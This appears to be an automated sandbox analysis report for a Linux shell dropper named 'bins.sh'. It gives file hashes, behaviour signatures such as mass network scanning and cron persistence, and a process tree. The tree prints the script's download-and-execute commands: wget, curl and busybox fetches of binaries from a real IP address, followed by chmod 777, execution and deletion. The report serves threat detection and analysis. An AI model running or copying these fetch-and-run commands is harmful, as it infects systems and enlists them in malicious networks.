Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 18:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1bff584999b22d9de46e6deaafea9275

  • SHA1

    efd709e5f86dd46ec4ec77ba703a641fbbbc5b6c

  • SHA256

    4096659489b539ac00df12c2c960bb1c87cd7b1998118c549a4466cccb969e15

  • SHA512

    e50cd035449bac71d40281310f9e20c6f8fa30bc7b586b890918eb8481c6e1dca4853d3353e0c54d9674f7040941278b65c9969ff25bb74473ca756099d8f8cc

  • SSDEEP

    192:HImmkdESJRVe2tmuUUaTKamuUWJRVCmmkds:HImmkdESJRc2LaTKeJRkmmkds

Malware Config

Signatures

  • Contacts a large (2087) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1493
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1494
        • /usr/bin/wget
          wget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:1495
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:1506
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /bin/chmod
          chmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • File and Directory Permissions Modification
          PID:1508
        • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          ./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Executes dropped EXE
          PID:1509
        • /bin/rm
          rm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
            PID:1511
          • /usr/bin/wget
            wget http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:1513
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /bin/chmod
            chmod 777 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • File and Directory Permissions Modification
            PID:1515
          • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            ./r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Executes dropped EXE
            PID:1516
          • /bin/rm
            rm r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
              PID:1518
            • /usr/bin/wget
              wget http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Writes file to tmp directory
              PID:1520
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Writes file to tmp directory
              PID:1521
            • /bin/chmod
              chmod 777 gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • File and Directory Permissions Modification
              PID:1522
            • /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              ./gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Executes dropped EXE
              PID:1523
            • /bin/rm
              rm gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
                PID:1525
              • /usr/bin/wget
                wget http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Writes file to tmp directory
                PID:1527
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /bin/chmod
                chmod 777 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • File and Directory Permissions Modification
                PID:1529
              • /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                ./YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1530
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1532
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1533
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1534
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1535
                    • /bin/rm
                      rm YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                      2⤵
                        PID:1537
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                        2⤵
                          PID:1540

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J

                        Filesize

                        122KB

                        MD5

                        cd3d4b9c643e5b473fb4d88ed05f0716

                        SHA1

                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                        SHA256

                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                        SHA512

                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                      • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /var/spool/cron/crontabs/tmp.avpMpo

                        Filesize

                        210B

                        MD5

                        c9f0c0eeebe0f71a02853cbc1788fa3b

                        SHA1

                        ddcc8cd2a98f52f6b1633f08d636373cb389a130

                        SHA256

                        f94c967b00f17c4da50e4963efb7f685e67ceba3467e4b93cb6b1c007d3925c6

                        SHA512

                        c63af4c7f3221543e673a802ef3f1839f1036dba6ac3282b336ef0ca252c9af86aa70d88212e54d2825b5e05f253ea8f26163112f79ccdd8f33b7475302b5de0